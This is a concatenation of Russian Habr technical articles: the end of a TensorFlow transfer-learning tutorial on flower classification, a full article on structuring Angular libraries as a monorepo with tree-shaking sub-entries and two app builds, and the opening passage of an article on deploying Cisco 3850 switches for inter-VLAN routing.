'daisy' 'daisy' 'dandelion' 'roses' 'daisy' 'tulips' 'dandelion'
'dandelion' 'roses' 'dandelion']
```
**Выведем истинные метки и предсказанные индексы**
```
print("Labels: ", label_batch)
print("Predicted labels: ", predicted_ids)
```
Вывод:
```
Labels: [3 4 2 2 1 0 2 3 1 1 2 1 1 2 2 2 0 0 2 2 0 4 1 1 0 4 1 2 0 0 4 0]
Predicted labels: [3 4 2 2 1 0 2 3 1 1 2 1 1 2 2 2 0 0 2 2 0 4 1 1 0 4 1 2 0 0 4 0]
```
**Отобразим предсказания модели**
```
plt.figure(figsize=(10,9))
for n in range(30):
plt.subplot(6,5,n+1)
plt.subplots_adjust(hspace = 0.3)
plt.imshow(image_batch[n])
color = "blue" if predicted_ids[n] == label_batch[n] else "red"
plt.title(predicted_class_names[n].title(), color=color)
plt.axis('off')
_ = plt.suptitle("Model predictions (blue: correct, red: incorrect)")
```
**Осуществляем передачу обучения с использованием Inception-модели**
Обратимся снова к [документации TensorFlow Hub](https://tfhub.dev/s?module-type=image-feature-vector&q=tf2) и перейдём в раздел `tf2-preview/inception_v3/feature_vector`. На этот раз вектор свойств относится к Inception V3 модели. В коде ниже мы создаём модель, которая будет использовать предобученную часть Inception V3 модели для классификации изображений цветов. Обратите внимание, что Inception V3 модель принимает на входе изображения размером 299х299 пикселей. Сравните точность Inception V3 модели и предыдущей MobileNet V2.
```
IMAGE_RES = 299
(training_set, validation_set), dataset_info = tfds.load('tf_flowers', with_info=True, as_supervised=True, split=splits)
train_batches = training_set.shuffle(num_training_examples//4).map(format_image).batch(BATCH_SIZE).prefetch(1)
validation_batches = validation_set.map(format_image).batch(BATCH_SIZE).prefetch(1)
URL = "https://tfhub.dev/google/tf2-preview/inception_v3/feature_vector/4"
feature_extractor = hub.KerasLayer(URL,
input_shape=(IMAGE_RES, IMAGE_RES, 3),
trainable=False)
model_inception = tf.keras.Sequential([
feature_extractor,
tf.keras.layers.Dense(num_classes, activation='softmax')
])
model_inception.summary()
```
Вывод:
```
Model: "sequential_1"
_________________________________________________________________
Layer (type) Output Shape Param #
=================================================================
keras_layer_1 (KerasLayer) (None, 2048) 21802784
_________________________________________________________________
dense_1 (Dense) (None, 5) 10245
=================================================================
Total params: 21,813,029
Trainable params: 10,245
Non-trainable params: 21,802,784
```
```
model_inception.compile(
optimizer='adam',
loss='sparse_categorical_crossentropy',
metrics=['accuracy'])
EPOCHS = 6
history = model_inception.fit(train_batches,
epochs=EPOCHS,
validation_data=validation_batches)
```
Вывод:
```
Epoch 1/6
81/81 [==============================] - 44s 541ms/step - loss: 0.7594 - acc: 0.7309 - val_loss: 0.0000e+00 - val_acc: 0.0000e+00
Epoch 2/6
81/81 [==============================] - 35s 434ms/step - loss: 0.3927 - acc: 0.8772 - val_loss: 0.3945 - val_acc: 0.8657
Epoch 3/6
81/81 [==============================] - 35s 434ms/step - loss: 0.3074 - acc: 0.9120 - val_loss: 0.3586 - val_acc: 0.8769
Epoch 4/6
81/81 [==============================] - 35s 434ms/step - loss: 0.2588 - acc: 0.9282 - val_loss: 0.3385 - val_acc: 0.8796
Epoch 5/6
81/81 [==============================] - 35s 436ms/step - loss: 0.2252 - acc: 0.9375 - val_loss: 0.3256 - val_acc: 0.8824
Epoch 6/6
81/81 [==============================] - 35s 435ms/step - loss: 0.1996 - acc: 0.9440 - val_loss: 0.3164 - val_acc: 0.8861
```
Итоги
=====
В этом уроке мы с вами научились использовать передачу обучения для создания мощных свёрточных нейронных сетей с минимальными усилиями. Ключевые момент о которых мы говорили и которые стоит помнить:
* **Передача обучени:** техника, которая позволяет переиспользовать модель созданную экспертами по обучению и которая была предобучена на большом наборе данных. При использовании предобученных моделей мы всегда должны помнить о необходимости изменения последнего классификационного слоя.
* **Заморозка параметров:** отключение переменных предобученной модели для последующих изменений. "Замораживая" переменные предобученной модели мы гарантируем, что обучаться будет только последний классификационный слой, а значения предобученной модели останутся прежними.
* **MobileNet:** современная свёрточная нейронная сеть разработанная специалистами Google, которая использует эффективную архитектуру сети для минимизации количества используемой памяти и вычислительных ресурсов сохраняя при этом высокую точность. MobileNet идеально подходит для использования на мобильных устройствах с ограниченным объёмом памяти и вычислительных ресурсов.
Так же мы использовали передачу обучения для создания свёрточной нейронной сети на основе MobileNet для классификации изображений кошек и собак. Вы наверняка смогли убедиться насколько сильно повышается точность классификации при использовании технологии передачи обучения на наборе данных с кошками и собаками. В качестве упражнения мы с вами применили технологию передачи обучения для создания собственной свёрточной нейронной сети на основе MobileNet для классификации изображений цветов.
… и стандартные call-to-action — подписывайся, ставь плюс и делай share :)
[YouTube](https://www.youtube.com/c/%D0%90%D0%BD%D0%B4%D1%80%D0%B5%D0%B9%D0%A8%D0%BC%D0%B8%D0%B3?sub_confirmation=1)
[Telegram](https://t.me/ashmig)
[ВКонтакте](https://vk.com/ashmig)
при поддержке [Ojok](https://ojok.ru/?utm_source=habr&utm_campaign=topic). | https://habr.com/ru/post/467967/ | null | ru | null |
# Angular Libs как монорепозиторий 2: tree shaking и сборка клонов
Всем привет! В [прошлом посте](https://habr.com/ru/company/karuna/blog/588448/) мы с вами разобрали механизмы создания библиотек с помощью Angular libs, а также научились настраивать их работу в приложении и друг с другом и даже вынесли наши ассеты в одну из таких библиотек.
В этом посте хочу продолжить тему разделения функционала на библиотеки и, как апофеоз, рассказать о сборке двух, похожих визуально, но разных по функциональности приложений из одного набора библиотек. В одном из проектов Каруны мы применили такой подход, благодаря чему дали возможность разработчикам из разных команд вести свои библиотеки и собирать приложения под себя, не изменяя чужую кодовую базу.
**В ходе статьи на примере уже созданного нами** [**проекта**](https://gitlab.com/angular-libs-examples/example-2) **из прошлого поста мы с вами разберём:**
* как настроить tree shaking библиотек;
* как создать core-библиотеку, которая будет нужна везде;
* как собрать два клона из одного набора библиотек, но с разным функционалом.
### Оглавление
1. [Tree Shaking или как написать еще больше кода.](#tree-shaking)
2. ["Основы основ" (создание единой core-библиотеки).](#core)
3. [Сборка двух проектов и lazy loading.](#clones)
Tree Shaking или как написать ещё больше кода
---------------------------------------------
Прежде чем мы перейдем к созданию и настройке новых библиотек, поговорим о том, как с ними работает “встряхивание дерева”. На самом деле ответ очень простой — никак. Tree shaking практически не работает с библиотеками из коробки: если вы собираете какую-то либу, а потом приложение с её использованием, то вся она попадёт в итоговый бандл. Дело в том, что наш сборщик **ng-packagr** собирает всю библиотеку в общий чанк, а значит, при загрузке одного кусочка пользователь невольно загрузит вообще всё. Печально, но не спешите унывать! Есть весьма элегантное решение — правда, для него придётся написать некоторое количество шаблонного кода.
Для решения проблемы мы будем использовать все тот же **ng-packagr,** который способен создавать так называемые [sub-entries](https://github.com/ng-packagr/ng-packagr/blob/master/docs/secondary-entrypoints.md) внутри библиотек. Если говорить просто, то под каждый отдельный функционал библиотеки мы можем собрать свой чанк, и уже эти чанки будут спокойно работать с tree shaking и подгружаться только когда нужны. За этот механизм отвечают файлы **public-api.ts** и **package.json,** они у нас уже есть в библиотеках. А теперь нам нужно будет добавить их ещё и в модули. На выходе мы должны будем получить примерно вот такую структуру:
```
some-lib
├── src
| └── lib
| ├── sub-entry-a
| | ├── *.ts
| | ├── index.ts
| | ├── package.json
| | └── public-api.ts
| ├── sub-entry-b
| | ├── *.ts
| | ├── index.ts
| | ├── package.json
| | └── public-api.ts
| ├── sub-entry-*
| └── public-api.ts
└── package.json
```
Давайте немного пройдёмся по ней.
**some-lib/src/public-api.ts —** этот файл всё так же будет использоваться для экспорта всех наших sub-entries сущностей. Фактически он будет отвечать за то, чтобы мы могли импортировать сущности из библиотеки внутрь приложения без огромной вложенности, вместо этого будет простой импорт — **import { any } from 'some-lib'**.
**some-lib/src/lib/sub-entry-\* —** директория, которая как раз таки описывает чанк.
**some-lib/src/lib/sub-entry-a/public-api.ts —** файл, в котором должны быть перечислены все сущности, которые относятся к данному чанку и могут быть использованы в приложении.
**some-lib/src/lib/sub-entry-a/index.ts —** тут мы просто реэкспортируем всё из файла выше. Также этот индексный файл необходимо импортировать в **some-lib/src/public-api.ts.**
**some-lib/src/lib/sub-entry-a/package.json —** файл, который позволяет работать ng-packagr и генерировать отдельные чанки. Внутри обязательно нужно указать ссылку на наш **some-lib/src/lib/sub-entry-a/public-api.ts.**
Как вы уже наверняка догадались, **some-lib/src/lib/sub-entry-a/index.ts** и **some-lib/src/lib/sub-entry-a/package.json** практически не будут меняться, и их можно спокойно копировать из чанка в чанк.
#### Теперь об использовании одного sub-entry в другом и возможных ошибках.
Периодически может возникать необходимость использовать один вложенный чанк в другом. Использовать абсолютные пути при текущих настройках у вас не получится, и как правило указываются относительные пути с `../../`, однако, при сборке библиотеки можно увидеть ошибку:
> *ERROR: Unable to write a reference to SomeComponent in example-path/some-lib/src/lib/sub-entry-a/some.component.ts from example-path/some-lib/src/lib/sub-entry-a/some.module.ts*
>
>
Это связано с одним ограничением: sub-entry может использовать только те относительные пути, которые не выходят за пределы его директории. Во всех остальных случаях нам нужно использовать абсолютный путь.
Кроме того, несмотря на то, что в приложении мы все импортируем сразу из `some-lib`, например, **import { any } from 'some-lib'**, абсолютные пути в библиотеках должны быть указаны до конкретного индексного файла:
```
import { SomeModule } from 'some-lib/src/lib/sub-entry-a';
```
Для этого нам потребуется провести предварительные манипуляции с **tsconfig.lib.json** — нужно добавить правильный алиас для библиотек:
ui-lib-example/tsconfig.lib.json
```
"paths": {
"assets-library/*": [
"dist/assets-library/*",
"dist/assets-library"
],
"assets-library": [
"dist/assets-library/*",
"dist/assets-library"
],
"ui-lib-example/*": [
"libs/ui-lib-example/*",
"libs/ui-lib-example"
],
"ui-lib-example": [
"libs/ui-lib-example/*",
"libs/ui-lib-example"
]
}
```
А также немного изменить алиасы библиотек в **tsconfig.json.**
tsconfig.json
```
"paths": {
"assets-library/*": [
"dist/assets-library/*",
"dist/assets-library"
],
"assets-library": [
"dist/assets-library/*"
"dist/assets-library"
],
"ui-lib-example/*": [
"dist/ui-lib-example/*",
"dist/ui-lib-example"
],
"ui-lib-example": [
"dist/ui-lib-example/*",
"dist/ui-lib-example"
]
}
```
**Также вы можете встретить ещё одну ошибку,** связанную с **rootDir**. Выглядеть она будет примерно вот так:
> *Error File* `sub-entry-a/some.service.ts` *is not under 'rootDir'* `sub-entry-b`*.* `rootDir` *is expected to contain all source files.*
>
>
Данная ошибка, по своей сути, является тем же, что и в предыдущем пункте: из sub-entry пытаемся относительным путем достучаться до сервиса, который расположен за пределами доступности.
Ну и решение будет точно таким же, как и выше: оборачиваем сервис в свой чанк, если вы ещё этого не сделали, и используем абсолютный путь.
В соответствии с заголовком этой части статьи нам действительно нужно написать чуть больше кода, однако такой подход имеет свои весомые преимущества. В основном это разбиение большого куска кода на мелкие части и работающий tree shaking, а также использование sub-entries позволяет получить более "прозрачный" вывод ошибок.
Например, циклические зависимости не дадут собраться библиотеке. А вот если бы мы собирали один общий чанк, то ng-packagr не обратил бы на это внимания.
> *Если для работы с иконками вы выбрали вариант использования* ***svg-icon,*** *то обратите внимание, что нам нужно поменять место для сгенерированного файла* ***svg-icons.ts,*** *теперь он должен генерироваться сразу в модуль* ***icons.*** *Это связано с тем, что нам нужно использовать дефолтный импорт иконок, но сделать такой дефолтный экспорт из другого чанка не получится.*
>
>
Результатом выполнения будет создание нескольких чанков в билде библиотеки вместо одного.
[**Ссылка на коммит**](https://gitlab.com/angular-libs-examples/example-2/-/commit/77d7dfb1ddcd940935d8115d07c06f0f593647fc)
“Основы основ”
--------------
Отлично, мы разобрались с tree shaking и подключением библиотек, теперь самое время создать нашу **core-library**. Уверен, что при работе с Angular вы либо часто импортируете одни и те же модули в другие модули (например, CommonModule), либо создаете некий общий модуль на уровне приложения, включающий в себя все повторяющиеся в импортах основные модули и импортируете везде только его. Однако такой вариант не очень хорошо работает с библиотеками.
Если мы создадим некий `CoreModule` на уровне приложения, то попытки сделать его импорт в библиотеки будут выглядеть по меньшей мере странно. А если создать такой модуль и в приложении, и в библиотеке, то помимо дублирования кода мы ещё получим несколько по сути идентичных инстансов внутри билда, а оно нам надо? Явно не ради этого мы заморачивались с тряской дерева.
Поэтому вполне логичным будет выглядеть создание отдельной библиотеки, включающей в себя этот самый `CoreModule` и возможно ещё какие-то модули, отвечающие за важные части приложения или библиотек — например, за запросы к api. Давайте этим и займёмся. Для начала создадим основной модуль, включающий в себя `CommonModule` из Angular и, допустим, `FormsModule`.
> ***Ахтунг!*** *Это — не пример для подражания, а всего лишь пример для демонстрации механизма. Подходите с умом к созданию такого CoreModule и обязательно проверяйте, везде ли вы используете помещённые в него внешние модули!*
>
>
Для этого создадим библиотеку через cli и провернём все те манипуляции, что и в предыдущем пункте. В итоге у нас должна получиться вот такая структура:
Теперь попробуем добавить какой-нибудь инпут и структурную директиву в **ui-lib-example.component.html.**
ui-lib-example.component.html
```
```
А также доработаем **ui-lib-example.component.ts.**
ui-lib-example.component.ts
```
@Component({
selector: 'lib-ui-lib-example',
templateUrl: './ui-lib-example.component.html',
styleUrls: ['./ui-lib-example.component.scss'],
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class UiLibExampleComponent {
form: FormGroup;
private name = 'Ricardo Milos';
constructor(private fb: FormBuilder) {
this.form = this.fb.group({
name: [this.name, Validators.required],
});
}
}
```
Если закомментить форму, то в консоли мы увидим ошибку **"NG0303: Can't bind to 'ngIf' since it isn't a known property of 'div'."** , а с формой у нас упадет билд **ui-lib-example.**
Теперь давайте импортируем в **ui-lib-example.module.ts** наш`CommonLibraryModule`,не забудьте только собрать перед этим **core-library**. Обратите внимание, что мы добавили `CUSTOM_ELEMENT_SCHEMA`, потому что с добавлением `CommonModule` Angular не может понять что это за тег такой - .
ui-lib-example.module.ts
```
import { CommonLibraryModule } from 'core-library';
@NgModule({
declarations: [
UiLibExampleComponent,
],
imports: [
CommonLibraryModule,
IconsLibraryModule,
],
exports: [
UiLibExampleComponent,
],
schemas: [CUSTOM_ELEMENTS_SCHEMA]
})
export class UiLibExampleModule { }
```
Конечно, нужно будет дописать **paths** для **core-library** в **angular-libs-examples/libs/ui-lib-example/tsconfig.lib.json.**
ui-lib-example/tsconfig.lib.json
```
"core-library/*": [
"libs/core-library/*",
"libs/core-library"
],
"core-library": [
"libs/core-library/*",
"libs/core-library"
]
```
Теперь можно перезапустить сборку **ui-lib-example** (если вы ранее дописали paths и билдили с флагом --watch, то у вас должно завестить и без рестарта). В итоге увидим, что в консоли нет ошибок, а в браузере появилась наша форма.
Результат в браузере[**Ссылка на комит**](https://gitlab.com/angular-libs-examples/example-2/-/commit/442b42f64cc3883af289a3698e07e61b170d76fe)
Ну ладно, со стандартными модулями Angular всё было и так более менее понятно, а что насчёт наших собственных модулей? Для них будут действовать те же самые условия, что и для `CommonLibraryModule`. То есть, нам нужна единая точка экспорта для приложения и библиотек, иначе рискуем получить несколько экземпляров одного модуля в итоговом билде.
Наиболее актуально, как и говорил выше, это выносить в **core-library**, например, какой-нибудь **api.service**, упрощающий взаимодействие с API, сервисы по работе с лэйаутами (модальные окна, нотификации), сами лэйауты (основы для страниц, сайдбары, хедеры) и прочие подобные вещи.
Давайте добавим ещё один модуль, который будет содержать как раз сервис по работе с api. Только перед этим добавим в корень проекта **proxy.conf.js**
proxy.conf.js
```
// Перечислим, с каких урлов мы хотим проксировать запрос
const PROXY_URLS = [
'/api.test/*',
];
// Опишем дефолтный конфиг
const PROXY_CONFIG = {
target: 'https://slack.com/api',
changeOrigin: true,
secure: false,
logLevel: 'debug',
}
module.exports = {
...PROXY_URLS.reduce(
(proxies, url) =>
Object.assign(proxies, {
[url]: PROXY_CONFIG,
}),
{},
),
};
```
А также строку `"proxyConfig": "proxy.conf.js"` в раздел **serve** в **angular.json**.
Теперь добавим наш`ApiModule`вместе с`ApiService`**.** Я не буду приводить тут весь код, так как получится довольно много текста. Вы можете посмотреть их сразу в [коммите](https://gitlab.com/angular-libs-examples/example-2/-/commit/ed008146ff233753b2cde7bbe86154007a718996) или [структуре проекта](https://gitlab.com/angular-libs-examples/example-2/-/tree/main).
Давайте убедимся, что он работает и в приложении, и в библиотеках. Нужно обязательно добавить **ApiModule** в импорты AppModule, а также добавим для этого один файл **test.service.ts** к **app.module.ts** и к **ui-lib-example.module.ts**
test.service.ts
```
import { Injectable } from '@angular/core';
import { Observable } from 'rxjs';
import { ApiService, Query } from 'core-library';
@Injectable()
export class TestService {
private readonly query: Query;
constructor(private api: ApiService) {
this.query = this.api.query(‘api.test’);
}
getTest(): Observable {
return this.query('');
}
}
```
Теперь можно добавить их в массив `providers` модулей и вызвать метод`getTest`на хуке`OnInit`**.**
```
ngOnInit(): void {
this.service.getTest().pipe(take(1))
.subscribe(res => console.log('Result’, res));
}
```
Самое время пересобрать ui-lib-example и выполнить yarn start. В консоли мы увидим следующее:
**Всё работает, а вы снова восхитительны!**
[**Ссылка на коммит**](https://gitlab.com/angular-libs-examples/example-2/-/commit/2a8242351f17c4d50394f4ac5bed19321ae31bf8)
Сборка двух проектов и lazy loading
-----------------------------------
Предлагаю довести до логического завершения использование возможностей нашего монорепозитория и собрать два приложения с lazy-loading на роутере.
Для начала нам нужно изменить структуру папки **app** таким образом, чтобы в ней хранилось чуть больше проектов, чем сейчас. Фактически внутри должны содержаться несколько директорий приложений со своими папками **app** и настройками**,** каждое приложение в этом случаем вполне спокойно может иметь свои настройки **proxy.conf,** сервис воркеры, линтеры и т.д., но у нас они будут общие. Но обратите внимание, что **tsconfig** у каждого приложения должен быть свой и включать локальные **main.ts** и **polyfill.ts.**
```
{
"extends": "../../../tsconfig.json",
"files": [
"./polyfills.ts",
"./main.ts"
],
}
```
В итоге у нас должно получиться что-то вроде такого, где **first-app** будет нашим приложением, которое мы мучали все это время, а **second-app** — новое, с импортом `UiLibExampleComponent`и ещё одним компонентом из другой библиотеки.
Так как мы не можем создать новый проект с помощью cli, потому что у нас уже есть `angular.json`, то в большей степени добавление новых приложений — это копипаста рутовых файлов из проекта в проект. Однако, важно будет также изменить наш `angular.json`, во-первых потому что у нас переехало одно приложение, а во-вторых, потому что в него нужно добавить информацию о втором. Думаю, из-за объёма я не буду приводить тут весь код, однако вот вам [коммит](https://gitlab.com/angular-libs-examples/example-2/-/commit/1cb6f0bf8e4cd8474cefd465b8e55c231776ff4d) с изменениями.
Теперь мы можем проверить сборку всех библиотек, а также попробовать запустить команды `yarn build` и `yarn start` и убедиться, что всё собирается.
Давайте теперь займёмся созданием библиотеки для second-app. Уверен, что тут у вас не возникнет сложностей, поэтому просто оставлю вам [коммит](https://gitlab.com/angular-libs-examples/example-2/-/commit/e31effac3c7a49b5b56a0a9a340c6ec31ab42e0f). Добавим туда один компонент для примера. И займёмся настройкой lazy-loading в second-app.
Создадим отдельный `TestModule`, он как раз будет подгружаться “лениво”. И импортируем в него `SecondAppLibraryModule`**,** а `UiLibExampleModule`импортируем в `AppModule`**.** Шаблоны компонентов будут выглядеть максимально просто:
```
```
Сам механизм lazy-loading не является темой данной статьи, так что подробно останавливаться на нём не буду, точно так же оставлю [коммит](https://gitlab.com/angular-libs-examples/example-2/-/commit/ca193a750ab201cbaf917d3772a810b91c1c29de) на него. В итоге у нас получилась вот такая структура второго приложения, где мы имеем импорт из двух разных библиотек-доменов, один из которых в ленивом модуле.
Теперь, если запустим приложение и посмотрим в браузер, то увидим, что подгрузился компонент из одной библиотеки, при этом во вкладке *source* в консоли мы не увидим лишних модулей.
Результат в браузереЧто видим в консолиА если перейдем на страницу **‘/test’,** увидим, что теперь подгружается и компонент из библиотеки **second-app-library**, при этом во вкладке source появился наш lazy module.
Результат в браузереРезультат в консолиЕсли сбилдить все библиотеки и приложения, то в директории **dist** мы увидим следующее:
При этом мы можем спокойно деплоить только наши приложения, так как все необходимые части из библиотек они уже содержат. И все эти части будут совершенно спокойно тришейкаться и не увеличивать первую загрузку.
Получается, что мы только что собрали два несвязанных приложения из одного набора библиотек, с возможностью использовать одни и те же core-сервисы без необходимости копировать код или публиковать библиотеки. Теперь мы можем собирать клоны приложений, иметь единую основу для всех, а ещё миксовать функциональность в зависимости от потребностей заказчика. И всё это, используя встроенный инструмент Angular.
[**Ссылка на проект**](https://gitlab.com/angular-libs-examples/example-2)
### Заключение
Как видите, подобный подход может применяться как для одного приложения с целью разделить функциональность на своего рода домены, так и для создания нескольких однотипных приложений с разным набором возможностей. В первом варианте удобно применить подход DDD, а во втором вы ещё и сможете разным заказчикам собирать разные приложения без необходимости настраивать дикие условия сборки. К примеру, если вы разрабатываете несколько админок для разных отделов или компаний.
В следующий раз расскажу о подключении JEST к таким проектам и о нюансах тестирования библиотек, а также о том, как настроить CI для такого подхода разработки.
*P.S. Хотел еще раз напомнить, что вы...*
**Ссылки на библиотеки и документацию:**
1. Angular libs - <https://angular.io/guide/libraries>
2. Angular CLI - <https://angular.io/cli>
3. ng-packagr - <https://www.npmjs.com/package/ng-packagr> | https://habr.com/ru/post/595815/ | null | ru | null |
# Создание отказоустойчивой ИТ инфраструктуры. Часть 4. Внедрение коммутаторов Cisco 3850 для межсетевой маршрутизации
Статья предназначена для ознакомления с процессом внедрения коммутаторов третьего уровня в существующую сетевую инфраструктуру, и в основном адресована сетевым администраторам и инженерам. В ней рассказывается про настройку стека из двух коммутаторов Cisco 3850, и их использование для организации более эффективной и отказоустойчивой маршрутизации трафика между внутренними сетями.
### Вводная часть
После публикации [третьей статьи](https://habr.com/ru/company/lenvendo/blog/487408/), в которой шла речь о настройке внутренней и внешней маршрутизации с использованием виртуальных маршрутизаторов VyOS, в комментариях к ней прозвучало утверждение, что приведённая [схема сети](https://hsto.org/webt/se/4s/y-/se4sy-sikppg2gvv9yyzkqmqwwo.jpeg) некорректна, так как она с большим потоком трафика может не справиться, а также что на уже работающей инфраструктуре вынести L3 на другое оборудование может быть проблематично.
По большому счёту, это утверждение является в основном своём посыле верным – по своей структуре и составу такая сеть больше подходит для офиса небольших размеров, чем для нашего датацентра, и нужно изначально проектировать сети грамотно, закладывая в них достаточную ёмкость и способность обработать повышенные объёмы трафика при подключении дополнительных сетевых абонентов.
Но к сожалению, не всегда получается делать всё правильно и красиво, так как зачастую приходится руководствоваться не только техническими соображениями и правилами, но и "политической" ситуацией, когда лицо, принимающее решения, может отдавать более низкий приоритет технической стороне проекта, находясь, например, в рамках строго ограниченного бюджета. В результате, так и появляются сетевые схемы, созданные не совсем по правилам, но это не означает, что всё плохо и они не будут работать как надо.
Чтобы не быть голословным, можно просто привести пример из реального практического опыта.
Один виртуальный маршрутизатор на базе VyOS с 2 vCPU и 1 Gb vRAM, вполне справлялся с трафиком от 20 (двадцати) железных хостов, на которых работало примерно 220 виртуальных машин.
Этот маршрутизатор обслуживал:
* межсетевой трафик от 5 внутренних сетей;
* основной канал в Интернет 500 Мбит/сек;
* приватную линию 200 Мбит/сек, для связи с главным офисом и складами.
[BGP full view](http://xgu.ru/wiki/BGP_full_view) в этой схеме оказался не нужен, но если добавить ещё памяти и процессоров для VyOS, то он и его смог бы «пережевать».
И примерно [похожая схема](https://hsto.org/webt/se/4s/y-/se4sy-sikppg2gvv9yyzkqmqwwo.jpeg), реально работала без каких-то нареканий, только в мониторинге иногда могла подскочить утилизация процессоров VyOS до 40-50%, при повышении объёмов прокачиваемого через него трафика между внутренними сетями, хотя при этом каких-то неудобств в работе и сетевых задержек не наблюдалось.
В любом случае, была проанализирована причина такого поведения:
* рост числа хостов с 10 до 20;
* увеличение числа ВМ с ~120 до ~220;
* увеличение количества внутренних сетей с трёх до пяти.
В связи с этими факторами, было принято решение перенести межсетевую маршрутизацию на сетевые коммутаторы третьего уровня, чтобы заранее предупредить потенциально вероятную ситуацию с сетевыми задержками между сетями, особенно при дальнейшем росте внутреннего трафика из-за увеличения числа хостов и ВМ. В итоге, получилась логическая схема сети в классическом её понимании, когда внутренний межсетевой трафик обрабатывается специализированными устройствами:
[](https://hsto.org/webt/5q/y1/mg/5qy1mg7cb4neayh7xipa7jp82zo.jpeg)
В реальной жизни сплошь и рядом бывают такие ситуации, когда какой-то проект приходится или переделывать прямо по ходу его выполнения, или переделывать/доделывать за кем-то другим. К таким ситуациям надо быть готовыми, так как наша задача заключается в том, чтобы помочь удовлетворить пожелания заказчика, и без прерывания рабочего процесса суметь что-то перепроектировать или изменить в уже имеющейся инфраструктуре, из-за наличия в ней проблем или узких мест.
Именно это нам и предстоит сделать в нашем виртуальном проекте по созданию отказоустойчивой инфраструктуры для небольшого датацентра – внедрить в уже работающую сеть коммутаторы третьего уровня, чтобы получилась логическая схема сети, как на картинке выше.
Сеть нашего датацентра с самого начала проектировалась под следующие условия и оборудование:
* два коммутатора Cisco 2960RX;
* два физических хоста с ~20-30 ВМ;
* две внутренние сети, которые необходимо выпустить в Интернет;
* внутренняя сеть для управления всеми сетевыми устройствами.
Исходя из этих данных, было принято решение о создании сетевой инфраструктуры с двумя виртуальными маршрутизаторами VyOS, на которые была возложена дополнительная задача по маршрутизации трафика между внутренними сетями. До заказчика было доведено, что это не совсем правильная схема, и, хотя до поры до времени такая сетевая инфраструктура вполне будет удовлетворять требованиям по пропускной способности, но при условии дальнейшего роста проекта, придётся решать вопрос с организацией внутренней маршрутизации на специализированном оборудовании.
Одним из факторов, оказавших влияние на решение по использованию виртуальных маршрутизаторов VyOS для внутренней маршрутизации, явилась возможность их вертикального масштабирования, для компенсирования возникающей нагрузки из-за увеличения межсетевого трафика. Это означает, что у виртуального VyOS можно нарастить ресурсы по мере необходимости – увеличить количество vCPU и vRAM, и даже напрямую пробросить физическую сетевую карту с хоста, чтобы снизить утилизацию процессоров ВМ.
Как выяснилось позже, у заказчика (на складе или где-то под столом у завхоза – такое тоже бывает) были найдены две коробки с коммутаторами Cisco 3850, которые когда-то были куплены для каких-то уже неведомых внутренних целей. К сожалению, это произошло уже после запуска проекта, и до поры до времени коммутаторы оставались лежать без дела, хотя факт их обнаружения конечно же был принят во внимание.
Время шло, наш виртуальный датацентр постепенно расширялся – увеличивались объёмы прокачиваемого трафика между внутренними сетями через виртуальные маршрутизаторы и также постепенно на них росла постоянная утилизация vCPU. Поэтому было принято решение всё-таки задействовать коммутаторы [Cisco 3850](https://www.cisco.com/c/ru_ru/support/switches/catalyst-3850-24t-e-switch/model.html) по их прямому предназначению – для маршрутизации внутреннего трафика. Тем более, что в дальнейшем была запланирована модернизация сети нашего датацентра с 1 Гбит/с до 10 Гбит/с и коммутаторы Cisco 3850 в этот план тоже прекрасно вписались, благодаря неплохой пропускной способности стека на уровне 480 Гбит/с, наличию 10 Гбит/с портов, и другого не менее полезного функционала.
В общем, получилась немного затянутая вводная часть, но это было сделано специально, чтобы обосновать причины, по которым и в какой момент времени нужно внедрять Cisco 3850. Однозначно, что это надо было делать на самом начальном этапе реализации проекта, но иногда приходится заниматься такими вопросами на уже работающей сетевой инфраструктуре.
Вся остальная статья будет посвящена тому, как внедрить коммутаторы L3, ничего при этом не поломав и не допустив простоев в функционировании сети, так как непрерывная работа проекта – это одно из основных требований бизнеса. Нам в этом поможет уже [существующая сетевая инфраструктура](https://hsto.org/webt/se/4s/y-/se4sy-sikppg2gvv9yyzkqmqwwo.jpeg), которая позволит осуществить их внедрение практически безболезненно.
После вводной части, переходим к основному содержанию статьи, и чтобы было удобнее ориентироваться, приведу её основные главы:
* Схема сети с межсетевой маршрутизацией на Cisco 3850
* Подготовительные работы
* Установка и настройка стека коммутаторов Cisco 3850
* Подключение стека коммутаторов Cisco 2960RХ к стеку Cisco 3850
* Принципы настройки маршрутизации между внутренними и внешними сетями
* Организация маршрутизации между внутренними и внешними сетями с использованием PBR
* Перевод внутренней межсетевой маршрутизации с VyOS'ов на стек Cisco 3850
* Организация маршрутизации между внутренними и внешними сетями с использованием OSPF
### Схема сети с межсетевой маршрутизацией на Cisco 3850
**Вариант 1**
Схема сети с использованием **source-based** маршрутизации на основе PBR
[](https://habrastorage.org/webt/ph/fe/fy/phfefyvc_q2aoulxqbsbbtwb2rk.jpeg)
Представленная схема немного видоизменена по сравнению со схемой сети из предыдущей статьи – на ней добавлен логический коммутатор L3, две новые внутренние сети VLAN34 и VLAN35, а также с целью экономии места на схеме, урезан условный Интернет до одной сети – 172.16.3.0/24.
В составе тестового стенда будут использованы следующие сети:
* **VLAN17** – сеть 172.20.1.0/24, приватные адреса для хостов в датацентре (IPMI, management)
* **VLAN30** – сеть 172.16.1.0/24, «публичная» сеть, связь между **VyOS1**, **VyOS2** и **Provider-1**
* **VLAN31** – сеть 172.16.2.0/24, «публичная» сеть, связь между **VyOS2**, **VyOS1** и **Provider-2**
* **VLAN32** – сеть 172.20.32.0/23, приватные адреса для хостов в датацентре – PROD
* **VLAN34** – сеть 172.20.34.0/24, приватные адреса для хостов в датацентре – DEV
* **VLAN35** – сеть 172.20.35.0/24, приватные адреса для хостов в датацентре – DMZ
* **VLAN36** – сеть 172.16.10.8/30, «публичная» P2P сеть, связь между роутерами **Provider-1** и **Provider-3**
* **VLAN37** – сеть 172.16.10.12/30, «публичная» P2P сеть, связь между роутерами **Provider-2** и **Provider-3**
* **VLAN38** – сеть 172.16.3.0/24, «публичная» сеть для внешних хостов, эмуляция Интернет
* **VLAN40** – сеть 172.20.40.0/23, приватные адреса для хостов в датацентре – TEST
**Вариант 2**
Схема сети с использованием **destination-based** маршрутизации на основе протокола OSPF
[](https://habrastorage.org/webt/fm/0j/z7/fm0jz7e8iy8fnkrpoyyelbvzk4w.jpeg)
На этой схеме добавлен логический коммутатор L3, две новые внутренние сети VLAN34 и VLAN35 для клиентов, и внутренняя сеть VLAN33 для связи между роутерами VyOS и стеком коммутаторов L3. Также из целей экономии места на схеме, урезан условный Интернет до одной сети – 172.16.3.0/24.
В составе тестового стенда будут использованы следующие сети:
* **VLAN17** – сеть 172.20.1.0/24, приватные адреса для хостов в датацентре (IPMI, management)
